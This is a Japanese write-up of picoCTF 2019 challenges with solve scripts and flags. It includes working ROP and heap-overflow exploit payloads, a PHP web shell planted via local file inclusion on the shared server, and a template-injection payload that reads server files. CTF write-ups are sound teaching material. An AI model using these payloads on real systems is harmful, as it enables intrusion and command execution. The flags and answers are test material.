s = map(ord, "picoCTF_d899a")
a = 0x27d
for i in range(1, len(s)-1):
  a += s[i]-s[i-1]
  a += s[i+1]-s[i]
print hex(a)

このくらいになってくると、アセンブルコードを読むよりも、実際にアセンブルして動かしたほうが早いかもしれない。

0x23e

b00tl3gRSA2 - Points: 400 - Solves: 1170 - Cryptography

In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 5027.

What is e generally?

こんな問題が返ってくる。値は接続ごとに変わる。

$ nc 2019shell1.picoctf.com 5027
c: 127605530228513979824089881521839388039679367134038225074395314471998261579532375187118234490848090150118252142709271535865934719508265584790634703889737502472668258943203153061335362333582269801753806820633922205407699587629622013110170106607009826315808080011604782170235987056882096923647659364469320501322
n: 158941005662810302758922990925034441390388460110839579809108932785020909255156634795460659701075920132921928082938169993306303382006160142786136822431541872373541300251810674239658364460158877303363181416282087783540835237681828625144857305221673394603097632788829119357353081019743345805154698011904023180051
e: 131701043876267047489560294523459959102568706628608929025339283075065390193345454515273679372979047603923360918930639508773651603824473603521692481226557212108483057391120009336420823994731821650317585364868263744168819170949424739137068421302381970696560487056922426321541688973455003715893794815036305709033

RSAの暗号化と復号の処理は対象なので、deを逆にしても動くことは動く。が、dが小さいと総当たりができてしまう。ましてや固定の値では、攻撃者にとって未知の情報が何も無くなってしまう。

solve.py
c = 127605530228513979824089881521839388039679367134038225074395314471998261579532375187118234490848090150118252142709271535865934719508265584790634703889737502472668258943203153061335362333582269801753806820633922205407699587629622013110170106607009826315808080011604782170235987056882096923647659364469320501322
n = 158941005662810302758922990925034441390388460110839579809108932785020909255156634795460659701075920132921928082938169993306303382006160142786136822431541872373541300251810674239658364460158877303363181416282087783540835237681828625144857305221673394603097632788829119357353081019743345805154698011904023180051
e = 131701043876267047489560294523459959102568706628608929025339283075065390193345454515273679372979047603923360918930639508773651603824473603521692481226557212108483057391120009336420823994731821650317585364868263744168819170949424739137068421302381970696560487056922426321541688973455003715893794815036305709033

p = pow(c, 0x10001, n)
print ("%x"%p).decode("hex")
$ python solve.py
picoCTF{bad_1d3a5_6175978}

picoCTF{bad_1d3a5_6175978}

droids2 - Points: 400 - Solves: 415 - Reverse Engineering

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

Try using apktool and an emulator
https://ibotpeaches.github.io/Apktool/
https://developer.android.com/studio

そろそろ量が増えてきてsmaliのコードを読むのが面倒。dex2jarを使ってjarにして、Java Decompilerで開くとJavaで読める。

FlagstaffHill.java
package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{
  public static String getFlag(String paramString, Context paramContext)
  {
    paramContext = new String[6];
    paramContext[0] = "weatherwax";
    paramContext[1] = "ogg";
    paramContext[2] = "garlick";
    paramContext[3] = "nitt";
    paramContext[4] = "aching";
    paramContext[5] = "dismass";
    int i = 3 - 3;
    int j = 3 / 3 + i;
    int k = j + j - i;
    int m = 3 + k;
    if (paramString.equals("".concat(paramContext[m]).concat(".").concat(paramContext[j]).concat(".").concat(paramContext[i]).concat(".").concat(paramContext[(m + i - j)]).concat(".").concat(paramContext[3]).concat(".").concat(paramContext[k]))) {
      return sesame(paramString);
    }
    return "NOPE";
  }

  public static native String sesame(String paramString);
}

dismass.ogg.weatherwax.aching.nitt.garlickを入力するとフラグが得られる。

picoCTF{what.is.your.favourite.colour}

rop32 - Points: 400 - Solves: 336 - Binary Exploitation

Can you exploit the following program to get a flag? You can find the program in /problems/rop32_6_7bd1329b26cbc416c56374c320e354e9 on the shell server. Source.

This is a classic ROP to get a shell

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);


  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

問題バイナリ中にフラグを出力する関数が無くなってしまった。スタティックリンクなので、libc中のOne-gadget RCEを使うこともできない。Return Oriented Programmingでexecve("/bin/cat", ["/bin/cat", "flag.txt"], NULL)を実行する。ROPで長いデータを書き込むのは面倒。getsを呼び出すと楽。

attack.py
from struct import pack

payload = (
  pack("<I", 0x08050120) +  # gets(0x080d8000)
  pack("<I", 0x0809f46d) +  # pop;
  pack("<I", 0x080d8000) +
  pack("<I", 0x0809f46a) +  # pop eax; pop ebx; pop esi; pop edi;
  pack("<I", 0x0000000b) +  # eax (execve)
  pack("<I", 0x00000000) +  # ebx
  pack("<I", 0x00000000) +  # esi
  pack("<I", 0x00000000) +  # edi
  pack("<I", 0x0806ee92) +  # pop ecx; pop ebx;
  pack("<I", 0x080d8014) +  # ecx (["/bin/cat", "flag.txt", NULL])
  pack("<I", 0x080d8000) +  # ebx ("/bin/cat")
  pack("<I", 0x0806f7a0))   # int 0x80;
print payload.encode("hex")
$ python -c 'print "a"*28+"200105086df4090800800d086af409080b00000000000000000000000000000092ee060814800d0800800d08a0f70608".decode("hex"); print "/bin/cat\x00flag.txt\x00\x00\x00\x00\x80\x0d\x08\x09\x80\x0d\x08\x00\x00\x00\x00"' | ./vuln
Can you ROP your way out of this one?
picoCTF{rOp_t0_b1n_sH_24eee86d}

picoCTF{rOp_t0_b1n_sH_24eee86d}

rop64 - Points: 400 - Solves: 280 - Binary Exploitation

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_1_3a135066aff0c433faf93765baaa584d on the shell server. Source.

This is a classic 64-bit OP to get a shell

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);


  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

システムコールを呼び出すなら、x86でもx64でも引数はレジスタ渡しだし、やることはそんなに変わらない。

attack.py
from struct import pack

payload = (
  pack("<Q", 0x00400686) +  # pop rdi;
  pack("<Q", 0x006b6000) +
  pack("<Q", 0x00410270) +  # gets
  pack("<Q", 0x004156f4) +  # pop rax;
  pack("<Q", 0x0000003b) +
  pack("<Q", 0x00400686) +  # pop rdi;
  pack("<Q", 0x006b6000) +
  pack("<Q", 0x004100d3) +  # pop rsi;
  pack("<Q", 0x006b6018) +
  pack("<Q", 0x0044bf16) +  # pop rdx;
  pack("<Q", 0x00000000) +
  pack("<Q", 0x0040123c))   # syscall  
print payload.encode("hex")
$ python -c 'print "a"*24+"860640000000000000606b00000000007002410000000000f4564100000000003b00000000000000860640000000000000606b0000000000d30041000000000018606b000000000016bf44000000000000000000000000003c12400000000000".decode("hex"); print "/bin/cat\x00flag.txt\x00\x00\x00\x00\x00\x00\x00\x00\x60\x6b\x00\x00\x00\x00\x00\x09\x60\x6b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"' | ./vuln
Can you ROP your way out of this?
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}

picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}

vault-door-7 - Points: 400 - Solves: 2043 - Reverse Engineering

This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java

Use a decimal/hexademical converter such as this one: https://www.mathsisfun.com/binary-decimal-hexadecimal-converter.html
You will also need to consult an ASCII table such as this one: https://www.asciitable.com/

VaultDoor7.java
 :
    // Each character can be represented as a byte value using its
    // ASCII encoding. Each byte contains 8 bits, and an int contains
    // 32 bits, so we can "pack" 4 bytes into a single int. Here's an
    // example: if the hex string is "01ab", then those can be
    // represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those
    // bytes are represented as binary, they are:
    //
    // 0x30: 00110000
    // 0x31: 00110001
    // 0x61: 01100001
    // 0x62: 01100010
    //
    // If we put those 4 binary numbers end to end, we end up with 32
    // bits that can be interpreted as an int.
    //
    // 00110000001100010110000101100010 -> 808542562
    //
    // Since 4 chars can be represented as 1 int, the 32 character password can
    // be represented as an array of 8 ints.
    //
    // - Minion #7816
    public int[] passwordToIntArray(String hex) {
        int[] x = new int[8];
        byte[] hexBytes = hex.getBytes();
        for (int i=0; i<8; i++) {
            x[i] = hexBytes[i*4]   << 24
                 | hexBytes[i*4+1] << 16
                 | hexBytes[i*4+2] << 8
                 | hexBytes[i*4+3];
        }
        return x;
    }

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        int[] x = passwordToIntArray(password);
        return x[0] == 1096770097
            && x[1] == 1952395366
            && x[2] == 1600270708
            && x[3] == 1601398833
            && x[4] == 1716808014
            && x[5] == 1734304823
            && x[6] == 962880562
            && x[7] == 895706419;
    }
 ]
solve.py
x = [
  1096770097,
  1952395366,
  1600270708,
  1601398833,
  1716808014,
  1734304823,
  962880562,
  895706419,
]
print "".join(("%x"%t).decode("hex") for t in x)

picoCTF{A_b1t_0f_b1t_sh1fTiNg_d79dd25ce3}

Empire2 - Points: 450 - Solves: 373 - Web Exploitation

Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: https://2019shell1.picoctf.com/problem/39830/ (link), can you help us find it? or http://2019shell1.picoctf.com:39830

Cookieのsessionの中に入っていた。例えばeyJfZnJlc2giOmZhbHNlLCJkYXJrX3NlY3JldCI6InBpY29DVEZ7aXRzX2FfbWVfeW91cl9mbGFnM2Y0MzI1MmV9IiwidXNlcl9pZCI6IjcifQ.XaBpkA.Jw0eqzLXzs3SWpAnAqazdAUP0fMで、最初の.の前までを復号すると、{"_fresh": false,"dark_secret":"picoCTF{its_a_me_your_flag3f43252e}","user_id": "7"}

picoCTF{its_a_me_your_flag3f43252e}

Heap overflow - Points: 450 - Solves: 101 - Binary Exploitation

Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. Its also found in /problems/heap-overflow_5_39d709fdc06b81d3c23b73bb9cca6bdb on the shell server. Source.

https://www.win.tue.nl/~aeb/linux/hh/hh-11.html

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FLAGSIZE 128

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAGSIZE,f);
  fprintf(stdout,"%s\n",buf);
  fflush(stdout);
}

int main(int argc, char *argv[])
{
   char *fullname, *name, *lastname;
   fullname = malloc(666);
   name = malloc(66);
   lastname = malloc(66);
   printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
   printf("%d\n",fullname);
   printf("Input fullname\n");
   gets(fullname);
   printf("Input lastname\n");
   gets(lastname);
   free(fullname);
   puts("That is all...\n");
   free(name);
   free(lastname);
   exit(0);
}

問題名に繋がりは無いけれど、SecondLifeの次の問題だろうか。

fullnameのバッファオーバーフローでnameを未使用チャンクであるかのように書き換える。free(fullname)で後ろの未使用チャンク(name)と統合する処理が走り、namefdbkを良い感じにしておくと双方向リストからの取り外し処理で、GOTを書き換えられる。

win()fopen("flag.txt", "r")malloc()malloc_consolidate()lastnamebkのアドレスに書き込もうとして落ちたので、適当に書き込み可能なアドレスを書いておいたら通った。lastnameはfastbinに格納されるから、bkは設定されない。malloc_consolidate()でfastbinから取り外されるときは、fullname+nameの領域と統合されるから、ここでもbkは書き換えられない。nameの領域は2重に管理されているから、この後でnameをfastbinから取り外す処理が行われ、ここでlastnameは未使用である(fdbkが設定されているはず)のように見えて、統合処理として双方向リストからの取り外し処理が走る……ということかな。

attack.py
from struct import *

heap = input() - 8
jmp = "\xe9" + pack("<I", (0x08048936-(heap+0x10+5))&0xffffffff) + "xxx"

print(
  "a"*8 +                   # heap+0x0008
  jmp +                     # heap+0x0010
  "a"*0x288 +               # heap+0x0018
  pack("<I", 0x000002a0) +  # heap+0x02a0 prev_size
  pack("<I", 0x00000049) +  # heap+0x02a4 size
  pack("<I", 0x0804d020) +  # heap+0x02a8 fd
  pack("<I", heap+0x10) +   # heap+0x02ac bk
  "a"*0x38 +                # heap+0x02b0
  pack("<I", 0x00000048) +  # heap+0x02e8 prev_size
  pack("<I", 0x00000048))   # heap+0x02ec size

print pack("<I", heap+0x100)*2
$ python ~/attack.py | ./vuln
Oops! a new developer copy pasted and printed an address as a decimal...
148279304
Input fullname
148279304
Input lastname
That is all...

picoCTF{a_s1mpl3_h3ap_69424381}
Segmentation fault (core dumped)

picoCTF{a_s1mpl3_h3ap_69424381}

Java Script Kiddie 2 - Points: 450 - Solves: 474 - Web Exploitation

The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/12281 or http://2019shell1.picoctf.com:12281

This is only a JavaScript problem.

index.html
<html>
    <head>    
        <script src="jquery-3.3.1.min.js"></script>
        <script>
            var bytes = [];
            $.get("bytes", function(resp) {
                bytes = Array.from(resp.split(" "), x => Number(x));
            });

            function assemble_png(u_in){
                var LEN = 16;
                var key = "00000000000000000000000000000000";
                var shifter;
                if(u_in.length == key.length){
                    key = u_in;
                }
                var result = [];
                for(var i = 0; i < LEN; i++){
                    shifter = Number(key.slice((i*2),(i*2)+1));
                    for(var j = 0; j < (bytes.length / LEN); j ++){
                        result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                    }
                }
                while(result[result.length-1] == 0){
                    result = result.slice(0,result.length-1);
                }
                document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
                return false;
            }
        </script>
    </head>

Java Script Kiddieとだいたい同じ。ただし、16進数1桁ではなく、10進数2桁分ずらす……ように見えて、key.slice((i*2),(i*2)+1)で返ってくるのは1桁だった。探索範囲は狭まっている。最初は2桁だと思い、候補が多すぎたから次の16バイトも合わせてチェックしたけれど、不要だった。

solve.py
A1 = [
  0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
  0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52,
]
A2 = [
  0x00, 0x00, 0x01, 0x72, 0x00, 0x00, 0x01, 0x72,
  0x01, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x5F, 0x6C,
]

B = map(int, open("bytes").read().split())
for i in range(16):
  for j in range(10):
    if (A1[i]==B[j*16%len(B)+i] and
        A2[i]==B[(j+1)*16%len(B)+i]):
      print "%d"%j+"x",
  print

候補は、3x7x3x8x1x9x3x6x0x[45]x[23]x1x8x5x6x9xの4通りで、3x7x3x8x1x9x3x6x0x5x3x1x8x5x6x9xが正解。同じようにQRコードが出てくる。

picoCTF{3aa9bd64cb6883210ee0224baec2cbb4}

Time's Up, Again! - Points: 450 - Solves: 134 - Reverse Engineering

解けなかった。

Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve *this one* before time runs out? times-up-again, located in the directory at /problems/time-s-up--again-_2_55710a2388cfe35ec1afa8221b3f1ded.

Sometimes, scripts are just too slow. You've got to have much more control.

Time's Upと似たような問題。問題が難しくなり、タイムアウトが0.2ミリ秒になっている。

$ ./times-up-again
Challenge: (((((-797630491) * (1982178964)) * ((145434528) * ((1898352722) + (-54608086)))) * (((-228126725) * (-206979453)) * ((108633546) - (732361682)))) * ((((2057724498) - (858085765)) * ((354849120) - (456657278))) + (((1321543289) + (1993082013)) + ((-895090852) * (1230630900)))))
Setting alarm...
Solution? Alarm clock

ヒントからしてスクリプト言語では無理そうなので、C言語でパイプを処理するプログラムを書いてみたけれど、間に合わない。それなら、Time's Upと同じようにすれば良いかと思ったけれど、こちらは乱数を/dev/urandomから取得している。

b00tl3gRSA3 - Points: 450 - Solves: 867 - Cryptography

Why use p and q when I can use more? Connect with nc 2019shell1.picoctf.com 45122.

There's more prime factors than p and q, finding d is going to be different.

$ nc 2019shell1.picoctf.com 45122
c: 27515693965621903907884505205523067989092661211317303256247423142834738806815438181945276594823362506355400204963332951706872591864979020549372523508339090898426463515910613212636873482600445938107068665077345457799873513259262430821279825161181841404435600905727056181591050968904094505895864518519610758736209837420090020800348844011657470952
n: 51187281387648389882947611329836993590724524507070496882661148401046697968923236286724969022426652678205681761865396126464275101722266438762013782914281190652520471299792633304576683879179971580182972166046663910834730244786724898407160339930323692334354846369282967451811346130733753386299188591484796516761233100221381287974144274283741440297
e: 65537

普通はn=pqだけれど、この問題では多数の素数の積。Msieveでは桁数が多すぎたので、SageMathで素因数分解。

sage: factor(5118728138764838988294761132983699359072452450707049688266114840104
....: 66979689232362867249690224266526782056817618653961264642751017222664387620
....: 13782914281190652520471299792633304576683879179971580182972166046663910834
....: 73024478672489840716033993032369233435484636928296745181134613073375338629
....: 9188591484796516761233100221381287974144274283741440297)
9216593171 * 9251369531 * 9388385261 * 9826205171 * 10210213919 * 10314107677 * 10854403187 * 11218209997 * 11471376311 * 11589964333 * 11645485289 * 11740120397 * 11806319003 * 11970673027 * 12022088447 * 12394099103 * 12548583389 * 13400800321 * 13493699711 * 13727578027 * 13964115029 * 14040758317 * 14495024983 * 14699072789 * 14903214751 * 15023198513 * 15194866189 * 15729676499 * 15925738501 * 16028013119 * 16061706149 * 16413877841 * 16762649069 * 16877573789

後は、普通はphi=(p-1)(q-1)とするところを、これらの素因数-1の積にすれば良い。

solve.py
c = 27515693965621903907884505205523067989092661211317303256247423142834738806815438181945276594823362506355400204963332951706872591864979020549372523508339090898426463515910613212636873482600445938107068665077345457799873513259262430821279825161181841404435600905727056181591050968904094505895864518519610758736209837420090020800348844011657470952
n = 51187281387648389882947611329836993590724524507070496882661148401046697968923236286724969022426652678205681761865396126464275101722266438762013782914281190652520471299792633304576683879179971580182972166046663910834730244786724898407160339930323692334354846369282967451811346130733753386299188591484796516761233100221381287974144274283741440297
e = 65537

P = [
  9216593171,
  9251369531,
  9388385261,
  9826205171,
  10210213919,
  10314107677,
  10854403187,
  11218209997,
  11471376311,
  11589964333,
  11645485289,
  11740120397,
  11806319003,
  11970673027,
  12022088447,
  12394099103,
  12548583389,
  13400800321,
  13493699711,
  13727578027,
  13964115029,
  14040758317,
  14495024983,
  14699072789,
  14903214751,
  15023198513,
  15194866189,
  15729676499,
  15925738501,
  16028013119,
  16061706149,
  16413877841,
  16762649069,
  16877573789,
]

def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m

phi = 1
for p in P:
  phi *= p-1
d = exgcd(e, phi)[0] % phi

print ("%x"%pow(c, d, n)).decode("hex")

picoCTF{too_many_fact0rs_8024768}

cereal hacker 1 - Points: 450 - Solves: 402 - Web Exploitation

コンテスト終了後に解いた。

Login as admin. https://2019shell1.picoctf.com/problem/37889/ or http://2019shell1.picoctf.com:37889

ヒントは無し。

ログインページが http://2019shell1.picoctf.com:37889/index.php?file=login で、local file inclusionができそう。しかし、末尾に.phpが付加される。%00も効かない。php://~もダメ。

このサーバーは他の問題と共有だから、ログインできる。/tmp/にでもPHPファイルを置いておけば良い。

$ echo '<?php passthru($_GET["cmd"]);' > /tmp/kusano_hogehoge.php
$ chmod a+r /tmp/kusano_hogehoge.php

これで、 http://2019shell1.picoctf.com:37889/index.php?file=/tmp/kusano_hogehoge&cmd=ls+-al などで任意のコマンドが実行できる。

total 44
drwxr-xr-x 2 root       root              4096 Sep 30 22:17 .
drwxr-x--- 3 hacksports cereal-hacker-1_0 4096 Oct  3 03:36 ..
-rw-rw-r-- 1 hacksports hacksports        1174 Sep 30 22:06 admin.php
-rw-rw-r-- 1 hacksports hacksports          70 Sep 30 21:46 bg.png
-rw-rw-r-- 1 hacksports hacksports         960 Sep 30 22:06 cookie.php
-rw-rw-r-- 1 hacksports hacksports           7 Sep 30 22:06 foot.php
-rw-rw-r-- 1 hacksports hacksports         494 Sep 30 22:06 head.php
-rw-rw-r-- 1 hacksports hacksports         402 Sep 30 22:06 index.php
-rw-rw-r-- 1 hacksports hacksports        2131 Sep 30 22:06 login.php
-rw-rw-r-- 1 hacksports hacksports        1289 Sep 30 22:06 regular_user.php
-rw-rw-r-- 1 hacksports hacksports        2476 Sep 30 22:06 style.css

http://2019shell1.picoctf.com:37889/index.php?file=/tmp/kusano_hogehoge&cat+admin.php でフラグが見える。

admin.php
<?php

require_once('cookie.php');

if(isset($perm) && $perm->is_admin()){
?>

    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Welcome to the admin page!</h5>
                            <h5 style="color:blue" class="text-center">Flag: <?php echo "picoCTF{"; echo "5a1aa7dfd74a9b67bc5844b8245c9d2e";  echo "}"; ?></h5>
 :

他に脆弱性があったし、DBのパスワードまで見えてしまうので、想定解法ではないっぽい。

他の脆弱性はここ。ログインするときにはプリペアドステートメントを使っているのに、cookieの検証は文字列連結。

cookie.php
<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;

    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch1.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_admin_val = 0;
        }
        else{
            while($row = $result->fetch_assoc()) {
                $is_admin_val = $row["admin"];
            }
        }

        $sql_conn->close();
        return $is_admin_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

ユーザー登録ができないし、user_infoというcookieを知りようが無くない?と思ったけれど、DBを引っこ抜いてみたら、ID guest, パスワードguestというユーザーがいた。ユーザー登録が無かったら、まずはguest:guestを試せと :pencil:

picoCTF{5a1aa7dfd74a9b67bc5844b8245c9d2e}

droids3 - Points: 450 - Solves: 361 - Reverse Engineering

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids3_0_b475775d8018b2a030a38c40e3b0e25c.

Try using apktool and an emulator
https://ibotpeaches.github.io/Apktool/
https://developer.android.com/studio

FlagstaffHill.java
package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{
  public static native String cilantro(String paramString);

  public static String getFlag(String paramString, Context paramContext)
  {
    return nope(paramString);
  }

  public static String nope(String paramString)
  {
    return "don't wanna";
  }

  public static String yep(String paramString)
  {
    return cilantro(paramString);
  }
}

nopeの呼び出しをyepに差し替えれば良さそう。

そもそもなぜ律儀にアプリを実行していたのかというと、フラグの復号処理がネイティブコードで実行されていて解析が面倒だったから。この問題ではもうネイティブコードを解析することにした。ネイティブコードは全部の問題で共通のバイナリ。単なるXOR。この問題の場合はparamStringは使っていない。

solve.py
A = [
  0x11, 0x0e, 0x02, 0x06, 0x2d, 0x39, 0x2f, 0x08,
  0x07, 0x00, 0x1d, 0x49, 0x03, 0x12, 0x15, 0x47,
  0x0f, 0x43, 0x1a, 0x10, 0x01, 0x08, 0x1a, 0x04,
  0x09, 0x1a,
]
B = map(ord, "againmissing")
for i in range(len(A)):
  A[i] ^= B[i%len(B)]
print "".join(map(chr, A))

picoCTF{tis.but.a.scratch}

vault-door-8 - Points: 450 - Solves: 1491 - Reverse Engineering

Apparently Dr. Evil's minions knew that our agency was making copies of their source code, because they intentionally sabotaged this source code in order to make it harder for our agents to analyze and crack into! The result is a quite mess, but I trust that my best special agent will find a way to solve it. The source code for this vault is here: VaultDoor8.java

Clean up the source code so that you can read it and understand what is going on.
Draw a diagram to illustrate which bits are being switched in the scramble() method, then figure out a sequence of bit switches to undo it. You should be able to reuse the switchBits() method as is.

vault-door系最後。たいして中身が変わらない問題で問題数を増やすの止めてくれ~

VaultDoor8.java
// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;
import java.security.*; class VaultDoor8 {public static void main(String args[]) {
Scanner b = new Scanner(System.in); System.out.print("Enter vault password: ");
String c = b.next(); String f = c.substring(8,c.length()-1); VaultDoor8 a = new VaultDoor8(); if (a.checkPassword(f)) {System.out.println("Access granted."); }
else {System.out.println("Access denied!"); } } public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */
char[] a = password.toCharArray(); for (int b=0; b<a.length; b++) {char c = a[b]; c = switchBits(c,1,2); c = switchBits(c,0,3); /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c,5,6); c = switchBits(c,4,7);
c = switchBits(c,0,1); /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c,3,4); c = switchBits(c,2,5); c = switchBits(c,6,7); a[b] = c; } return a;
} public char switchBits(char c, int p1, int p2) {/* Move the bit in position p1 to position p2, and move the bit
that was in position p2 to position p1. Precondition: p1 < p2 */ char mask1 = (char)(1 << p1);
char mask2 = (char)(1 << p2); /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char)(c & mask1); char bit2 = (char)(c & mask2); /* System.out.println("bit1 " + Integer.toBinaryString(bit1));
System.out.println("bit2 " + Integer.toBinaryString(bit2)); */ char rest = (char)(c & ~(mask1 | mask2)); char shift = (char)(p2 - p1); char result = (char)((bit1<<shift) | (bit2>>shift) | rest); return result;
} public boolean checkPassword(String password) {char[] scrambled = scramble(password); char[] expected = {
0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xE1, 0xC0, 0xA4, 0x95, 0x94, 0xD1, 0x95, 0x94, 0xD0 }; return Arrays.equals(scrambled, expected); } }

改行が消えているけれど、別に難しくはない。

solve.py
S = [0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xE1, 0xC0, 0xA4, 0x95, 0x94, 0xD1, 0x95, 0x94, 0xD0]
P = [2, 3, 6, 7, 0, 1, 4, 5]
a = ""
for s in S:
  c = 0
  for i in range(8):
    c |= (s>>i&1)<<P[i]
  a += chr(c)
print a

picoCTF{s0m3_m0r3_b1t_sh1fTiNg_60bea5ea1}

Empire3 - Points: 500 - Solves: 309 - Web Exploitation

Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/45132/ (link) or http://2019shell1.picoctf.com:45132

Pay attention to the feedback you get
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
The database gets reverted every 2 hours if you do break it, just come back later

Cookieを保存しておいて2時間ごとのリセット後に使ったら別のユーザーになり、TODOを見たらフラグが書かれていた :innocent:

from app import db,login
from werkzeug.security import generate_password_hash,check_password_hash
from flask_login import UserMixin

@login.user_loader
def load_user(id):
    return User.query.get(int(id))

class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(64),index=True,unique=True)
    name = db.Column(db.String(128))
    password_hash = db.Column(db.String(128))
    secret = db.Column(db.String(128),default="picoCTF{cookies_are_a_sometimes_food_8038d44f}")
    admin = db.Column(db.Integer,default=0)
 :

なぜこんなことになったのかを考えてみると、template injectionか。

{{url_for.__globals__.__builtins__.open("app"+url_for("index")[0]+"models.py").read()}}でこのTODOになる。url_for("index")[0]は、/がエスケープされてしまい使えないので回避のため。__init__.pyを見ると、ユーザーID 2のユーザーのTODOにも同じフラグが保存されているので、configからセッションの署名に使われる秘密鍵を得て、セッションの偽造でも解けそう。

picoCTF{cookies_are_a_sometimes_food_8038d44f}

Ghost_Diary - Points: 500 - Solves: 68 - Binary Exploitation

Try writing in this ghost diary. Its also found in /problems/ghost-diary_2_e8bb7752718f21f9419b1c475a2d06b4 on the shell server.

ヒントは無し。

今までの問題と違ってソースコードは提供されない(ディレクトリには置いてあるのでシェルを取れば読める)。mallocもlibcのものを使っていてガチpwnable感がある。ただし、ネットワーク経由ではなくローカルで攻撃。

$ ./ghostdiary
-=-=-=[[Ghost Diary]]=-=-=-
1. New page in diary
2. Talk with ghost
3. Listen to ghost
4. Burn the page
5. Go to sleep
> 1
1. Write on one side?
2. Write on both sides?
> 1
size: 10
page #0
1. New page in diary
2. Talk with ghost
3. Listen to ghost
4. Burn the page
5. Go to sleep
> 2
Page: 0
Content: test
1. New page in diary
2. Talk with ghost
3. Listen to ghost
4. Burn the page
5. Go to sleep
> 3
Page: 0
Content: test

ヒープ問題で良くある形式。

これは攻略後に手に入れたソースコード。

ghostdiary.c
 :
void badread(char *b, uint32_t s)
{
    uint32_t sz_ = 0;
    char bb;

    if (s == 0)
        return;

    while (sz_ != s) {
        if (read(0, &bb, 1) != 1) {
            puts("read error");
            exit(-1);
        }

        if (bb == '\n') {
            break;
        }

        b[sz_++] = bb;
    }

    b[sz_] = '\0';
    return;
}
 :
void h_write(void)
{
    uint32_t idx;

    printf("Page: ");
    scanf("%d", &idx);
    printf("Content: ");
    if (idx < BUFSIZE && sbuf[idx].buf) {
        badread(sbuf[idx].buf, sbuf[idx].sz);
    }
}
 :

